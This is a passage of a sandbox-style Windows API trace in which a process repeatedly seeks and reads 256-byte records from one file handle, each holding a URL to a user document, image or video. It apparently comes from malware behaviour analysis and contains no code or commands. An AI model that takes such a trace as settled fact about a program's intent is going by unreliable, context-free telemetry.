[0079.556] SetFilePointer (in: hFile=0xa0, lDistanceToMove=33280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8200
[0079.556] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.556] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/Mpvc3Rk.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf"
[0079.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned 60
[0079.556] SetFilePointer (in: hFile=0xa0, lDistanceToMove=33536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8300
[0079.556] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.557] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.557] SetFilePointer (in: hFile=0xa0, lDistanceToMove=33536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8300
[0079.557] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.557] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/N85Nf82ijUqriWIbUbVC/DxOeo.jpg" | out: _Str="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg"
[0079.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned 67
[0079.557] SetFilePointer (in: hFile=0xa0, lDistanceToMove=33792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8400
[0079.557] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.557] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.557] SetFilePointer (in: hFile=0xa0, lDistanceToMove=33792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8400
[0079.557] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.557] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/j0tfQ.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx"
[0079.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned 59
[0079.557] SetFilePointer (in: hFile=0xa0, lDistanceToMove=34048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8500
[0079.557] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.557] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.557] SetFilePointer (in: hFile=0xa0, lDistanceToMove=34048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8500
[0079.557] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.558] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/gFQDbS7SKI.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg"
[0079.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned 52
[0079.558] SetFilePointer (in: hFile=0xa0, lDistanceToMove=34304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8600
[0079.558] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.558] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.558] SetFilePointer (in: hFile=0xa0, lDistanceToMove=34304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8600
[0079.558] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.558] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/tGhk.docx" | out: _Str="file:///c:/users/atveydl98z/documents/tghk.docx") returned="file:///c:/users/atveydl98z/documents/tghk.docx"
[0079.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/tghk.docx") returned 48
[0079.558] SetFilePointer (in: hFile=0xa0, lDistanceToMove=34560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8700
[0079.558] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.558] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.558] SetFilePointer (in: hFile=0xa0, lDistanceToMove=34560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8700
[0079.558] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.558] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/hgXqnnq3MlEaKOLmSO.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg"
[0079.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned 91
[0079.558] SetFilePointer (in: hFile=0xa0, lDistanceToMove=34816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8800
[0079.558] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.559] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.559] SetFilePointer (in: hFile=0xa0, lDistanceToMove=34816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8800
[0079.559] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.559] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/g7IhxxpWMUl67yNXWjuy.odp" | out: _Str="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp"
[0079.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned 63
[0079.559] SetFilePointer (in: hFile=0xa0, lDistanceToMove=35072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8900
[0079.559] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.559] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.559] SetFilePointer (in: hFile=0xa0, lDistanceToMove=35072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8900
[0079.559] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.559] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Ihug/t1QoeTZ4EKZwcx.pps" | out: _Str="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps"
[0079.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned 60
[0079.560] SetFilePointer (in: hFile=0xa0, lDistanceToMove=35328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8a00
[0079.560] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.560] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.560] SetFilePointer (in: hFile=0xa0, lDistanceToMove=35328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8a00
[0079.560] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.560] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/-hs5Z7.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv"
[0079.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned 59
[0079.560] SetFilePointer (in: hFile=0xa0, lDistanceToMove=35584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8b00
[0079.560] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.560] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.560] SetFilePointer (in: hFile=0xa0, lDistanceToMove=35584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8b00
[0079.560] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.560] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/jfCi.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg"
[0079.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned 61
[0079.560] SetFilePointer (in: hFile=0xa0, lDistanceToMove=35840, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c00
[0079.560] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.560] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.560] SetFilePointer (in: hFile=0xa0, lDistanceToMove=35840, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c00
[0079.560] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.560] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/4%20u_4u6LS4.ods" | out: _Str="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods"
[0079.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned 53
[0079.561] SetFilePointer (in: hFile=0xa0, lDistanceToMove=36096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8d00
[0079.561] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.561] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.561] SetFilePointer (in: hFile=0xa0, lDistanceToMove=36096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8d00
[0079.561] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.561] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/nCs6ha0JwetBUZ.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg"
[0079.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned 87
[0079.561] SetFilePointer (in: hFile=0xa0, lDistanceToMove=36352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e00
[0079.561] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.561] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.561] SetFilePointer (in: hFile=0xa0, lDistanceToMove=36352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e00
[0079.561] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.561] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/j_52VZ9UluJPr%205AIz.jpg" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg"
[0079.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 69
[0079.561] SetFilePointer (in: hFile=0xa0, lDistanceToMove=36608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8f00
[0079.561] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.561] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.561] SetFilePointer (in: hFile=0xa0, lDistanceToMove=36608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8f00
[0079.561] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.561] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/jOsIaZ/SFxQ3ziiYMv14cJiYAoX.flv" | out: _Str="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv"
[0079.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned 67
[0079.561] SetFilePointer (in: hFile=0xa0, lDistanceToMove=36864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9000
[0079.562] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.562] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.562] SetFilePointer (in: hFile=0xa0, lDistanceToMove=36864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9000
[0079.562] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.562] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/uezRN08sfabq3K36BWj.png" | out: _Str="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png"
[0079.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned 60
[0079.562] SetFilePointer (in: hFile=0xa0, lDistanceToMove=37120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9100
[0079.562] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.562] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.562] SetFilePointer (in: hFile=0xa0, lDistanceToMove=37120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9100
[0079.562] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.562] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/t1KkMdU3toFB.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp"
[0079.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned 69
[0079.562] SetFilePointer (in: hFile=0xa0, lDistanceToMove=37376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9200
[0079.562] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.562] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.562] SetFilePointer (in: hFile=0xa0, lDistanceToMove=37376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9200
[0079.562] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.562] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/p_8Z9O.odp" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp"
[0079.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned 59
[0079.562] SetFilePointer (in: hFile=0xa0, lDistanceToMove=37632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9300
[0079.562] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.563] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.563] SetFilePointer (in: hFile=0xa0, lDistanceToMove=37632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9300
[0079.563] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.563] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/dB%20t5t-sbXSuJRv0C.flv" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv"
[0079.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned 72
